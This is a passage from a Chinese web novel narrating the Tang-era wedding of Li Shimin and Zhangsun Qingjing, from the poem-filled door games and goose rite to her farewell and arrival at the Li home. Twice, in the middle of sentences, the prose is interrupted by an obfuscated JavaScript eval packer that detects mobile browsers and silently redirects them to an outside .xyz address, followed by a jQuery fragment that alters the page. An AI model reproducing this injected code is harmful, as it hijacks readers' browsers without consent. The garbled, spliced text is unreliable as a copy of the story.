王婉左摇右晃欣赏长孙青璟的新妆容,乐不可支道:“却扇时,新郎看到这朵牡丹,应该又惊喜又怜爱。可惜我却见不着你们对视的样子。” “你再胡说,日后我可在你婚礼上好生为难新郎,令你离不了家。” 这威胁自然毫无恫吓的作用,只惹得王婉“噗嗤”一笑:“姨母还是先担心姨夫要闯多少道难关才能将你接走吧。” “我又不急着离家。”长孙青璟的眼角却荡漾着初升朝阳般的欣悦,与她的言辞自相矛盾。 “只剩点唇了。”阿彩长吁一口气,“也不知门口怎样了?小郎君们能否挡得住浩浩荡荡的迎亲队伍?” “且慢。”王婉合上口脂盒盖,“我们须得矜持一些,待到催妆时慢慢描摹,急死新郎!”留在正堂之中的长辈们都拊掌大笑夸赞王婉慧黠有心。 长孙青璟颔首轻笑。三人计议已定,阿彩便在长孙青璟默许之下倚案假寐,王婉探身向屏风外张望。 留守的婢女开始准备奠雁礼时所用马鞍,在上面结上五色丝线。 长孙青璟环视行障内外,除却高老夫人、郑老夫人、母亲高氏、舅母鲜于氏以及叔父长孙敞,堂叔长孙操,其余男女老少宾客家眷悉数出动。 “你放心。”高氏又近前检视长孙青璟的礼冠,“有诸位阿姊为你把好门,既不失你的体面,又保你夫婿周全。” 长孙青璟的心是混乱而迷惘的,她有些弄不清楚自己此刻到底更在意高门贵女自以为是的体面与尊严,还是更担忧未来夫婿的安危与周全。 迎亲队伍的羯鼓声荡漾在空气中,继而不再浮于表面,而是震颤着、冲击着周遭的每一个角落,最后激荡在她迷乱的心间,让她弄不清胸中铿锵有力的撞击是心跳还是鼓点。 鼓点戛然而止的瞬间,长孙青璟知道,迎亲的队伍已抵达。 高氏、长孙氏诸位亲友已经挤在门边,准备好生戏谑新郎。长孙青瑜拨开人群,敲了敲在门缝处张望的大志与大慧的肩膀,示意众人听她指示。长孙家的小郎君们都领教过这位年长阿姊的泼辣,个个噤若寒蝉。 李世民与诸位堂、表兄弟下马,检视双雁,整理衣冠,一行对视确认无误后,李世民便快步上前,握着铺首衔环敲门,门内却无人应答。 虽然明知对方打探消息的家仆婢女早就在听到车队动静时就转身回报,此时高府中的妇人宾客毕集于大门一侧,他却还是免不得依照时俗朗声高喊:“贼来须打,客来须看,报道姑嫂,出来相看。” 门另一侧的众人面面厮觑,不知如何应对。年轻的娘子们也至多嘟哝一句“声音倒是洪朗”而不敢造次。 长孙青瑜向亲友眨眨眼,刻意咳嗽数声,也朝门外大声回应:“本是何方君子?何处英才?精神垒朗,因何到来?” 少女与年轻妇人们透过门缝偷窥新郎,窃窃私语,从容貌、身形一路品评至衣着。 李孝恭站在李世民身后,以一副过来人的姿态说道:“看来今日移步必咏啊。你设法胡诌几句糊弄过去!” 李世民盘算着自己并非唐公世子,眼下也未有一官半职,按照摄盛之俗该怎么吹嘘自己才不被笑话。 李道玄却抢先上前回答:“本是长安君子,公卿出身,选得刺史,故至高门。” 童稚清脆的声音惹得另一侧众人乐不可支。大家窃窃私语:“新郎的幼弟长得好生可爱!” 长孙青瑜招手叫来长孙无逸,附耳教了几句。长孙无逸便用更高的调门提问:“既是高门君子,贵胜英流,不审来意,有何所求?” 门外这一侧,李道宗捂住了李道玄那张跃跃欲试的嘴,把最真诚炽烈的表白留给了新郎:“闻君高语,故来相投。窈窕淑女,君子好逑。” 门内传来横栓松动的声音。迎亲众人向前推门,大门却岿然不动。 李家兄弟叫来窦氏,阎氏兄弟一同帮忙,大门轻轻翕动。 如是三次,长孙青瑜便与一旁的长孙无忌使了个眼色,吩咐众人后退,只听得门外又是一阵为自己提气的呼喝,紧接着,新郎与他的堂表兄弟们便踉踉跄跄狼狈地进了门。 新娘亲友自然乐不可支。大家提着竹杖,将新舅兄长孙无忌簇拥在前,虚张声势,呼喝着要给新郎下马威。虽说高家新宅比起先前大宅局促不少,进门即见正堂。但是一番腾挪布局之后,与李家迎亲队伍相比倒也不显得过于寒酸。 长孙无忌在众人欢呼中摆出一副大家长做派,拿腔拿调地问道:“何方所营?谁人伴唤?次第申陈,不须缭乱!” 身后的长孙敏行戳戳他后背道:“再大声些!” 李道宗笑道:“对诗对得没完没了是吧?” “你要是不服气,可以代新郎捉刀!”李大志充满挑衅地与李道宗对峙。 “郎君们先不要斗嘴!我们有言在先,移步即咏,移步即饮,新郎不得谢绝新娘亲友敬酒,不得抢夺竹杖,不得埋怨我们刁难。”长孙青瑜站在长孙无忌身旁道,“李公子,若你答应这几条并一一做到,我们便准许你将妹妹接走。你可应允!” “当然应允。”李世民斩钉截铁答道。 趁着李世民与长孙青璟的诸位姑嫂一一熟识的当口,长孙无忌转头轻声问从姊长孙青瑜:“阿姊,你们切勿真将李世民给灌醉打伤了。” 长孙青瑜以竹杖轻敲无忌后背道:“明明是你妹妹出嫁,阿兄却担心妹夫的安危,是何道理?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041807|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还不是怕大家下婿闹过头了,妹妹只抱怨我一人嘛!她发起脾气来,可不像头闯进厅堂的猞猁一般不管不顾嘛!”长孙无忌既要保全长孙青璟尊严与体面,少不得李世民吃点苦头,又深知李世民待妹妹乃至高士廉全家情义深重,实在不忍下死手折磨他。只得与堂姊开着玩笑替好友讨饶。 “你放心,我自有分寸。”长孙青瑜招呼人捧上酒来,吩咐大志斟满。“我们长孙家的气势不能输人,李家的颜面自然也要顾全。我岂是不通人情世故之人!去,先让他饮酒作诗!” 长孙无忌正了正衣冠,与李家诸兄弟相互致意行礼。 “既已下至大门,请女夫吟咏。”长孙无忌难得这么一本正经与李世民交谈,自己都差点憋不住笑。 李世民手指竹笏,对着中庭的一棵并不粗壮的柏树诗兴大发吟诵道:“柏是南山柏,将来做门额。门额长时在,女是暂来客。” 长孙无忌接过长孙青瑜手中的酒壶笑道:“胡说八道,不准欺负我家无人!谁说我妹妹是我家暂来客无人撑腰的,你婚后若不善待她,我定不饶你!” “新舅兄说得好,新女婿失言,该罚!”众人起哄道。 长孙无忌执起竹杖轻轻戳了戳李世民的胸口,算是惩罚。李世民也陪笑着与大家作揖。 李大志叫道:“打得太轻,不算数!” “好,那就自罚一杯酒。”李世民接过长孙无逸、长孙敏行接连递来的酒杯,爽快地认罚。 其余挤在人前的亲友都在李大志的带动下持竹杖在新郎胸背四肢处歪歪斜斜地落下。 李道宗也一起挨了不轻不重的几杖,便指着李大志戏谑道:“你不要嚣张,此刻起不准与我兄长再以兄弟相称,记得叫他姨夫!” 众人又是哄笑,让李大志改口。大志的脸立时涨得紫红。 李道玄一把夺过长孙无逸所斟第三杯酒:“兄弟连心,我代兄长认罚。” 长孙无逸道:“不准耍赖。” 李道玄撇嘴道:“先前你阿姊只说不可拒绝,未说不可代为受罚。你才耍赖!” “不准饶舌,有本事我们斗酒。” “斗就斗。” 两个孩童说罢便各取酒杯,都不愿落了下风。 众人被新郎新娘各自的幼弟好勇斗狠的言谈举止逗乐了。笑着看他们各饮了几杯酒便夺去杯盏,将二人强行拖离人群。 与李家盛大的迎亲队伍相比,高氏的新宅子未免略显局促。可喜的是亲友的喧腾,竹杖的敲击,交错的觥筹,吟咏的雅趣弥补了这个瑕玷。 李世民行至中门时,新娘家中亲友早已将门紧锁。长孙无忌以竹杖敲击锁钥,示意李世民吟诗。 李道宗上前代劳:“锁是金钩锁,铜铁相铰过。暂请钥匙开,且放刺史过。” 李大志已经从初时被嘲弄的窘迫之中开解过来,便在人群中嘲讽道:“喂,你这诗文不逮意,重来重来!”话音刚落,却被母亲拿钥匙敲了头。 长孙青瑜警告儿子道:“适可而止,快点拿着钥匙去开中门。” 长孙无忌笑道:“文辞虽说粗鄙了些,却不失坦诚。大志,且为新婿掣去金钩锁,拔却紫檀关。” 新娘亲友拦在中门内外,假意以竹杖击打驱赶新郎,且打且退,口中却呼喝着,以壮声势;迎亲众人簇拥着新郎,毫不怯场,径直向正堂而去…… 29. 催妆 当然这几十步路也颇费周折,至砂石坫时,咏诗,被批浮夸,罚饮酒,挨了长孙敏行的竹杖;至堂基,咏诗,被批流俗,罚饮酒,挨了长孙无忌的竹杖。 ——两群人就似两股不同方向却意外相遇的风,在相互的拉扯中扭结、相斥、相吸,然后朝着同一个方向奔腾而去。 直至堂户,行障内外留守的长辈、女眷连同新娘都听到了那首格调平平,从新郎口中念出却充满由衷赞美的《至堂户诗》:“堂户策四方,里有四合床。屏风十二扇,锦被画文章。” 至此,弄婿告一段落。傧相张琮接引李世民进入正堂,先拜见新娘的叔父长孙敞。然后隔着行障问候新娘的母亲高氏等一众女眷。 新郎与诸位尊长行礼完毕,张琮向行障内外高喊道:“升——堂——奠——雁——” 王婉与阿彩便扶起膝盖已经僵直的长孙青璟缓缓坐在马鞍上。张琮向李孝恭示意新娘准备承将。李孝恭便抱起一双大雁交到李世民手中。 “朝着新娘剪影处抛掷,抛高一点,让行障后众人有时间奔跑承接。”李孝恭郑重嘱咐道。 堂中诸人也停止了喧哗笑闹,屏息凝神,等待雁落何处。李世民举雁向上抛掷,这一对被红色绫罗包裹的礼物在屏风上划出一道喜庆的红弧。 新娘一伸手,攫住了双雁,将这道红弧纳入怀中。被红绸裹住周身、被五色丝带扎紧了喙的大雁惊魂未定,既无法叫唤也无处扑棱。新娘轻轻抚摸过双雁后,便将这对忠贞的伴侣放在一个鎏金托盘中,等待催妆后夫婿家将雁赎回。 “新娘接住了!” “新郎好身手!” “大吉!” 围观者吵吵嚷嚷,有赞新郎投掷准稳的,有夸新娘动若脱兔眼明手快的,有赞美新人天作之合的。 李道宗和长孙无逸被青瑜安顿在靠近屏风之处休息,两人盘腿结跏趺而坐,吃着菓子喝着酪浆,笑嘻嘻地争辩着。 长孙无逸道:“你阿兄掷偏了,幸好我阿姊如鸾鸟轩翥,硬是把大雁给攫住了,才免得你阿兄丢面子。” 李道玄反驳道:“我阿兄才没有掷偏,就算你阿姊不伸手去接,那对大雁也会落入你阿姊怀中。” “大言不惭!” “你这措大读了这么多书,却一点不通情理,怎么专爱扫兴——我阿兄为了今日奠雁礼特意取了两头差不多大小的白鹅练过,怎会掷偏?” 见长孙无逸口中塞满油炸?子,一言不发地看着自己,毫无反驳之意,李道宗又说道,“索性与你言明,我阿兄在家掷鹅时,坐在行障里扮作新娘接鹅的人就是我啦!” 至于他阿兄在家中抛飞了白鹅导致他被鹅嘴啄脑袋,被鹅翅扇了脸的丑事,他自然不会说出来。 “啊,佩服佩服。”长孙无逸看着李道宗额角一道浅红的新伤痕,陷入了一些稀奇古怪的联想中。 他抹了抹满嘴葱油,压低声音指着手持酒壶的婢女道,“刚才的窟春好喝吗?你我再偷偷喝点可好?” 奠雁礼毕,李孝恭便带着夫家兄弟大声催促:“请新妇子登舆!” 王婉便遣婢女向屏风外道:“新妇子尚未梳妆描眉,新婿稍安勿躁。” 夫家迎亲众人便又相继涌入堂户,在羯鼓鼓点的指引下齐声喊道:“新妇子,催出来!新妇子,催出来!” 婢女又来托词新娘弄丢了金臂钏,行障后众人便假作找寻状。 张琮笑道:“新妇娇羞踯躅,不忍别父母,请新婿亲自催妆!” 李孝恭正准备推新郎上前,谁料李世民已经先他一步靠近行障,朗声吟诵催妆诗:“今宵织女降人间,对镜匀妆计已闲。自有夭桃花菡颜,不须脂粉污容颜。” “一看就是个急性子!”行障内,郑老夫人以肘轻点高老夫人,“却是精神垒朗,顾盼神飞。不知我家观音婢如何应对?” 迎亲众人再次请新娘登车。婢女又传话道:“我家娘子说,新婿声音过轻,听不真切,不敢贸然随新婿离家。” “是我思虑不周了,不胜惶恐。”李世民言罢又更大声将催妆诗念了一遍。 众人拊掌喝彩叫好。 “这次够情真意切了,新妇莫要再推托,早登花舆,休误吉礼!”李道宗道出了兄长的心声。 婢女又取来一把五弦琵琶,微笑道:“娘子说,蒙公子厚爱,不胜欣悦。只是还未描眉,烦请诸位再等片刻。听闻公子善琵琶,愿请教一二。” “前面的不算,新郎现作一首新的催妆诗!” “配上琵琶唱给大家听。”新娘亲友开始起哄,要新郎自作自唱,以显才情。 “你这个女儿,当真是个促狭鬼!”郑老夫人又笑对高氏道,“新郎三日摄盛,新娘三难夫婿,可堪匹敌,不落下风。” 高氏倒是有些担心:“我去劝劝她,不要闹过头才是。” “不必。”鲜于氏附耳轻声道,“年轻人的事我们不要多插手,你看你女婿笑得多开心,简直甘之如饴,并没有一丝不悦的样子,随他们闹去吧。” “好,那我献丑了。”李世民将竹笏插在革带之上,收起掌心的戒指与偷藏的催妆诗,在众人嬉闹中接过琵琶,向众人道了句“失礼”,便横抱琵琶跽坐于屏风之前,与长孙青璟不过几步之遥。 他尝试转动琴轴,调整琴弦,用拨片试着弹了几个音,便自弹自唱道:“两心他自早相知,一过遮阑故作迟。更愁只转月奔兔,情来不要画蛾眉!” “唱得好!” “弹得更好!” “新娘不要再描眉了,留给新郎描画岂不妙哉!” “新娘莫要再刁难新郎!” “新妇子催出来!” “请新妇子登舆!” 接亲众人的喧哗、催促如潮水般拍击着行障,催促新娘早登花车。李世民倒也不急着起身,只是换了个结跏趺的悠闲坐姿,望着行障内长孙青璟的剪影微笑。 众人目不转睛地望着新娘朦胧的身影,只见这道倩影稍稍移动了些许,似乎手持一件乐器或者一个妆箧。 为新娘报讯的婢女又一次来到行障前,众人都在期待她口中吐出一个“可”字。 谁料这婢女又口吐惊人之语:“娘子还有最后一个不情之请……” 迎亲诸人又发出了懊恼的哀叹、不服的抱怨。大家都觉得这新娘实在太爱捉弄人了。 大家正等着急性子的新郎与这传话的婢女争论几句。李世民却饶有兴趣地抬头道:“说来听听。” 他气定神闲地坐在行障前,纵容着长孙青璟的拉扯游戏。 众人见新郎不急不缓,自家兄弟明面上不好抱怨女方生事只得陪着新郎闯下道道难关,女家亲眷却对这信守承诺的少年生出无数亲近感。 婢女正色道:“娘子只剩点唇未毕。听 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“我猜出来了。”李世民如灵光乍现般执起琵琶,拨片轻拢慢捻,和着齐朝龟兹的调子唱起了虞世南的《结客少年场行》:“韩魏多奇节,倜傥遗名利。共矜然诺心,各负纵横志。结友一言重,相思千里至。绿沈明月弦,金络浮云辔。吹箫入吴市,击筑游燕肆。寻源博望侯,结客远相求。少年重一顾,长驱背陇头。焰焰霜戈动,耿耿剑虹浮。天山冬夏雪,交河南北流。云起龙沙暗,木落雁行秋。轻生殉知己,非是为身谋。” 众人先是不胜惊愕,继而又觉得这歌合情合理。歌中少年英姿勃发、潇洒倜傥,即便沉沦下僚,胸中仍怀不平之气。唱词里的少年与眼前弹唱的少年在众人心中交叠在一处,眼前的寂寂无名的少年们与诗中慷慨骄傲的少年们的命运相互酬唱。明艳的少女应该不会拒绝这样身负纵横凌云之志的少年吧! 屏风后新娘的花冠的博鬓轻转了几分,大袖舒展。须臾间,卧箜篌清越的弹拨声响遏行云,与琵琶的珠玉迸溅声应和着。大家一时分不清那声音来自行障内,房梁之上还是廊下乐师手中。 一直兴致勃勃与王无锝谈论海外珍禽的李客师之前总是一副置身事外的模样,高高在上地嘲笑着年轻人的无聊把戏,此时那死寂了许久的内心突然添了几星闪耀的火花。 “唱得好!”他大声喝彩,随手拿起一支银箸,在案边敲打哼唱起来。 廊下的乐队才如梦初醒般加入了催妆的高潮之中。堂中的少年初时还有些拘谨,只是跟着新郎轻声吟唱,继而带着不容置喙的理想声嘶力竭地嚎叫。那种血脉偾张、裹挟万物的新生力量立时碾压了一切困顿与无奈。 年轻人跟着新郎一道卖力地歌咏,年长之人看得乐不可支。 琵琶箜篌声戛然而止,众人几乎忘了新娘之前的谜题,只是又一次催促道:“新妇子,催出来!新妇子,速速登车,勿负良辰!” 屏风内人影憧憧,一阵忙乱。李世民将琵琶放在一边,起身正衣冠,不顾腿脚僵直麻木,双手捧竹笏,静候新娘裁断。 宾客们期待的传话婢女并未如约出现,倒是新娘的甥女王婉将一张字条交给了傧相张琮。 张琮看了看字条,莞尔一笑,向众人道:“娘子感激公子抬爱,不吝才情。娘子也感激诸位宾客捧场。只是这诗却不是娘子最喜爱的——” 30. 雁去 听闻张琮一席话,迎亲众人发出“诶呦”的不悦慨叹。 李道宗愤愤不平插嘴道:“那某斗胆请问娘子最爱何诗?可否赐教?” 陪同前来的柴绍上前拉了拉李道宗的衣袖:“稍安勿躁,听傧相说完。” 张琮咧嘴继续说道:“虽说这诗不是娘子原先最喜爱的,却是现在她最爱的,故而——” 新郎一抬眸,眼珠与烛光重叠,似是穿越荆棘而不死的星火。 “她终于点完唇了。”有人长吁一口气 “谢天谢地!” “傧相说话大喘气,自去罚酒!” “这个新娘子也是个妙人,居然自圆其说,爱重之意不言自明。” “今日催妆,可谓一波三折,跌宕起伏。” 迎亲诸兄弟激动地上前与李世民相持而笑,相互捶肩击掌,庆祝大功告成。 长孙无逸和李道宗两位小郎君趁人不备又偷偷碰了一次杯。 张琮向大家拱手致意道:“诸位宾客先随意用些菓子酒水。新娘即刻启程。” 两位婢女扶起长孙青璟,拜别母亲。高氏揉了揉眼角,手持青色薄纱头巾,起身来到女儿面前。她心中实属不忍,便沉下身子,握住女儿双手:“观音婢,你是个有主见有分寸的孩子。惟愿出嫁后孝事公婆,无违夫子……” 高夫人的声音逐渐低下去,抽抽噎噎,语不成调。 “是。”长孙青璟低低地说。 所有人都清楚此时出嫁是最优解,所有人都清楚这是空有高门姓氏的落魄贵女最好的归宿,甚至于新郎的显赫家世、俊朗容貌、贵重人品,与新娘匹配的年龄才情已经大大超出了所有人的预期。 然而,这一次长孙青璟只是离去,不再有往常踏青访友、游山玩水之后的恬然归来。 她讨厌那些以出嫁为最终归家的迂腐论调。好似那些生她养她的人只是简单地将她放在一个容器中,任由她肆意无序地生长,到了某一时刻便砸烂容器,将她如物件般转交到另一个人手中。 她的经历不是这样的! 她的母亲从不以年幼的子女为累赘,也从不抱怨父亲临终处置失当,即令在最艰难的处境之中,这个柔弱、耿直的女子也从未想过抛弃家人。 她的舅父从不以妹妹遭继子逼迫陷害归家为耻,无视所有的冷嘲热讽,对外甥与外甥女视若己出,唯恐安顿不周使得年幼失祜的敏感孩童心生嫌隙。 高氏,不是一个空洞的乏味的替李家代为保管她的容器,而是充满灵性的温暖的令她浸润成长的来处。 至少到此刻,还未有另一个更加美好的地方可以取代它! “母亲。”她反扣住母亲的手,“奴奴定然谨慎恭敬,不辱门楣。” 酸涩的窒息感如潮水涌向胸腔、脖颈、脸颊,堵塞了喉咙与鼻子,急需寻找一个宣泄口。 “不要哭,不要哭。眼泪会把妆晕化,就不好看了。”高氏几乎捧着丝帕放在长孙青璟眼眶下,唯恐妆容有失。 “阿娘也不知说些什么,今日真是说不出的欢喜。” 李孝恭已用一枚金饼赎回双雁。见母女话别,李家诸弟兄也不便催促,只是静待。 众女宾也上前劝慰高氏道:“并非远嫁,无需愁苦。两坊里之间相距不远。等娘子熟悉了李家诸事务并游刃有余之际,再求得姑舅许她归宁也不迟。大吉之日,夫人应是喜极而泣了……” 高氏点头,擦干眼泪,与长孙青璟相持而起。 她再次为女儿整理鬓发、衣冠,指点她持正团扇,天凉添衣,不可贪玩……长孙青璟一一应承下来。 高氏便将怀中的青底红色宝相花纹理的薄纱巾披上女儿的头顶,一直垂到蔽膝处。 长孙青璟执扇拜别诸位长辈,无忌命人撤去行障。高氏便牵着青璟的礼服大袖来到一直执竹笏肃立的李世民身边。 “去吧,你们去将大雁放生吧。” “哎。”女儿女婿轻柔地应答着。他们清楚这是高氏在催促他们离家,可两人又不忍就此别过。 长孙青璟心绪不宁,带着哭腔回头问道:“阿娘,舅母。可为我留着房间吗?” “我们当然替你留着。”鲜于夫人擦着眼泪回答,“你的经籍字画我都替你原封不动收着,日后也不准你表弟随意出入捣乱。你想家了就回来小住几日……” 长孙青璟有些讨厌自己临别的自私行径,却忍不住走了几步又回头下拜:“外祖母,大舅母,母亲,舅母,奴奴走后,定要加餐饭,多添衣,保安康,勿念我。我不日回来看你们!”说罢,她又拜了数拜。 高老夫人摆摆手催促道:“去吧,我们自会照顾好自己。莫让姑舅久等。” 长孙青璟不再拖延,在婢女搀扶下离去。在众人的欢呼中,新人离开堂屋,迎亲诸人也与女方亲眷宾客一一揖别,李道宗挟起喝得晕头转向的李道玄匆匆跟上离别的众人。 天色已经暗沉。李孝恭又将双雁交还新人,长孙青璟除去五色缚口丝线,李世民揭掉包裹雁身的红绸,两人各执一雁放归天际。 两头大雁很快明白自己并非待宰的祭品而是一种古怪而偏执的信仰,于是伸长脖颈,振翮高飞,在暗沉的天空划出悠扬的身影。 “夫妇同心,忠贞不二!”李孝恭熟练地念出放生环节的祝福之词。宾客们也凑趣鼓掌。 “也不知它们是否还赶得上雁群?”长孙青璟不无忧郁地自言自语。 “它们并非失群,它们拥有彼此。”李世民答道,轻纱后似乎添了一丝笑意回应。 晚风回旋,掀开了新娘纱巾的一角,迎亲者们好奇地偷窥了这个数次刁难新郎的女孩一眼,发现她有一双澄澈又望不到尽头的眼睛,亲切而又疏离。漫天的星子就落在这汪湖水中。也许它有着熄灭一切火光的魔力吧。 年轻的郎君们突然觉得今天的所有劳碌都没有错付。 新人一路走向花舆,待新娘在车中坐定。新郎依照旧俗绕车三匝向新娘亲友保证日后护妻子周全。 回程的路却被坊里的邻居,闻风而动的恶少,下婿时意犹未尽的几位亲友堵住了。 李家的家仆便开始向人群中抛洒钱币,酒食与众人同乐以期及时通过。 王无锝跃至婚车附近,抓住李世民的马辔头,大言不惭地伸出手道:“还不快谢我!” “还没跟你算拉了一群人拿竹杖打我的仇。我这里一文钱也没有!” 车中的长孙青璟听到王无锝的声音,便揭开窗帘问道:“外面可是王公子。今日有劳公子为我找回猞猁,又赠我罗浮凤。公子知高氏人丁稀薄,还叫上朋友助我声势,实在感激不尽。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041809|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李公子你听听,你听听,尊夫人的感激宛如天籁,不似你这般无赖。”王无锝啧啧道。 李世民笑道:“既然我夫人如此夸赞你,我便不与你计较,所挨竹杖全当博美人一笑的代价。这份情权且欠着,今日且先去我家中参加嘉礼,以后若有什么稀罕的西域物事,一定第一时间送你。” 几个髫龀之年的孩子追到新郎马前讨要喜钱。 “两姓好合,千载辉光!” “两女五男,门户吉昌!” “且看抛赏,必不寻常!” “同喜同喜。”李世民笑着将几串彩绦穿束的五铢钱抛给阻拦婚车的孩子。 “这才差不多。”王无锝突发奇想地问道,“虽说旧事重提不礼貌,我还是好奇既然你二人私定终身——咳咳,你二人自有主张……我说不清了,就是这个意思。方才等待冥想之时,你是否已将未来五男二女的名字起好?” “休要胡言乱语!”李世民挑眉道,“我与长孙娘子奉父母之命,媒妁之言,喜结连理,未尝有逾礼之举。至于子女七人的名字,我想好了也不告诉你!” 说罢他俯身戳了王无锝一拳。虽说李世民纠正了王无锝一部分无状言辞,但并未恼怒,只是顺着对方的玩笑继续口无遮拦地说下去。 长孙青璟初时半掩车帘听两人笑谈,甚觉有趣。只是闻听“我夫人”“博美人一笑”“私定终身”甚至未来儿女起名之事时,心道自己与李世民嘉礼未成,也未庙见,尚不算完婚。两人语出轻薄还不避讳,惹得她有些恼火,便放下帘子不再理睬二人。 李世民感觉帘子下落的声音有些沉,便与王无锝换了个话题:“你那两头大雁真不错。为我们讨了好口彩!从哪得来的?” “衡山南麓,湘水边的沙洲上。在衡阳,大雁不算稀罕之物,在大兴的严冬,就一雁难求了。代北内迁的虏姓高门尤其喜爱彰显自己‘衣冠中国’的身份,处处尊崇周礼,宁愿出高价从我处购雁也不愿用白鹅与木雁取而代之……他们也算是我的衣食父母啦!” 两人相视而笑。 “衡山,好地方啊。我记住这地方了。”李世民若有所思的说道。 “你记不记得,与山何干!倒是欠我的人情不要忘记了。”王无锝调侃道。 “我也记住这地方了。”长孙青璟喃喃自语。也不知舅父南去之路上能不能见到鸿雁带来的婚讯。 “新人回府!”家仆一路传讯,坊里间得到钱财酒食的障车之人也口称贺词,分作两行站在路边。侍卫的家仆执烛前马,为新郎新娘开道。乐队继续鼓吹戏舞而行。 车队开始缓慢蠕动,夜露深重,寒气逼人。李世民忍不住探身隔着彩舆帘子问及长孙青璟是否被冻着。 长孙青璟半揭车帘,只是摇头。 倏忽间,一只从天而降的鹰隼带着巨大的威势与力量,嘶鸣着掠过车队的上空,带着异样的眷恋盘桓了数匝,然后双翅鼓扑,斜插入星光与云层,留下嘹唳清亮的回响。 李世民愣怔在那里,不知这不合时宜出现的鹰隼是何朕兆。 “他回来送我出嫁了。”长孙青璟眼中噙满泪水。 “他是谁?”李世民好奇地问道。 “我的父亲,右骁卫将军。”她不容置喙地回答。 来自代北的朔风终于吹干了她的眼泪。 31. 嘉礼 载着新娘的车队到达李家时,公婆与宾客已经从侧门离开,聚于大门口,等待新人入正门。 长孙青璟由婢女搀扶下车,望了一眼门簪之上高悬的三支箭,便略微低头,双手执纨扇遮面,与手持笏板的李世民并肩而行。亲友将新人拥簇在前,等待躏新妇迹。 新人足不能沾地以避免地煞冲撞,一路转毡接袋直达为婚礼搭建的青庐之中。 沉重的金银杂宝花冠、大袖连裳青衣与歧头青履使得长孙青璟的每一步都很沉重。 婢女一路急趋,将青红纹样相间的地毯与红蓝绸缎制成的布袋前后传递,转移铺接,以求香火绵延,代代不息。 “毡席有点打滑,你小心。”李世民微微侧颈提醒道。 “看好你的路,不准看我的鞋——我跟你又不熟。你家亲戚正拥到前方盯着我们看乐子呢!”长孙青璟盯着团扇前方的路,每一步都踩在地毯或绸袋正中。 “是,记住了,我们不熟!”李世民想起在长孙青璟在利人市的男装打扮,催妆时的故作姿态,障车时听到轻浮言语的气恼,已经深谙她不愿造次的心思,便谨慎地向一侧挪半步,同样正视前方,履毡而行。 青红的面纱呈现出游丝般的纹路,也许是夜风的伎俩,也许是火光造成的错觉,也许是一个转瞬即逝的微笑。 百子帐内孩童或绕床蹦跳奔跑,或以臂为翅学着鸟雀飞翔,或在年长妇人撺掇下唱起《撒帐歌》:“一双青白鸽,绕帐三五匝;为言相郎道,绕帐三巡看。” 李世民和长孙青璟席道进入青庐后,就被漫屋抛洒的撒帐金银钱币,干果砸中额头、团扇、笏板。 新婚夫妇被突如其来的物什打中时慌了一下,见到初时在自己身后履迹的亲友一下子都涌进了青庐中便知晓大家在为合卺礼预热。 李三娘琼曦一边怂恿孩子们上前抢夺金钱糖果,一边高声念着咒愿文:“今夜吉辰,长孙氏女与李氏儿结亲,伏愿成纳之后,千秋万岁,保守吉昌。五男二女,奴婢成行。男愿总为卿相,女即尽聘公王。从兹咒愿已后,夫妇寿命延长。” 咒愿文语带夸张,令新人咋舌。两人一时被争夺满地金钱糖果的宾客孩童围得水泄不通。 四娘李陇月之女长孙纫佩捧了满怀撒帐钱,挤到新人脚下捡拾起红绸扎紧的一小包石蜜糖,打开舔了舔,又钻到垂膝的覆面轻纱里,抬头偷窥新娘。她由衷地发出童真的感慨:“阿姊好漂亮!” 长孙青璟也被已故族叔的这个女儿逗乐了,一手执扇,一手忍不住去捏捏女童的脸蛋。 李陇月赶紧上前抱起女儿,吩咐婢女为长孙青璟整理纱巾:“纫佩,以后改口叫舅母。” 女孩舔着手指应承下来。 “小郎君小娘子们,我们比比谁捡到的钱串和干果多,最多的有赏!”李琼曦逗弄着堵住了新人去路的孩童们。 孩子们呼啦一下全都聚集到三娘身边,聚精会神地数着抢到的战利品。 唐国公李渊与夫人窦氏在另外三子六女的簇拥下最后进入青庐。 窦氏一如既往地神采奕奕。满头珠翠层次分明地缀于干练的盘桓髻之上,暗红半袖搭配紫色襦裙,彰显一品国公夫人的身份又不喧宾夺主。 她站在丈夫身边,与众人说笑。 李琼曦许久未见母亲,只是觉得她今日脸色分外惨白,便有些怀疑是施多了铅粉的缘故。 她见过许多年长的妇人都喜欢用铅白遮盖皮肤暗黄的疲态。母亲今年已经四十五岁,美人迟暮,有此举动也在情理之中。 但是李琼曦终究不相信母亲会做出游离于性格之外的举动,便轻声问妹妹:“阿娘的气疾究竟如何?” 李陇月摇头道:“为了这场仓促的婚礼,她一直瞒着众人。今早又是复发,只是强忍着。今晨是她亲自看着奴婢们将三升粟填满了石臼,又在井口覆盖席子,拿三斤枲麻堵塞了二弟房间的窗户,一切准备周全才放心。为了不惊扰二弟,待他告庙祭祖之后才延医请药。施药之时又将我们兄妹几人都赶出行障外,只听得她与阿耶和医官都争论不休,也不知施了什么方子,才强撑到现在……” “到底是什么神仙一样的娘子能够惊动我们弟弟这颗桀骜不驯的心?”李琼曦有些抱怨,也不失担忧。 “二弟虽说有主张,但是赶早完婚倒是母亲竭力促成的,父亲也毫无异议——若有不虞,也不至耽搁。” “见到新儿媳,母亲一开心,一定安然无虞。”李琼曦叹了口气,宽解着妹妹,也宽解着自己。 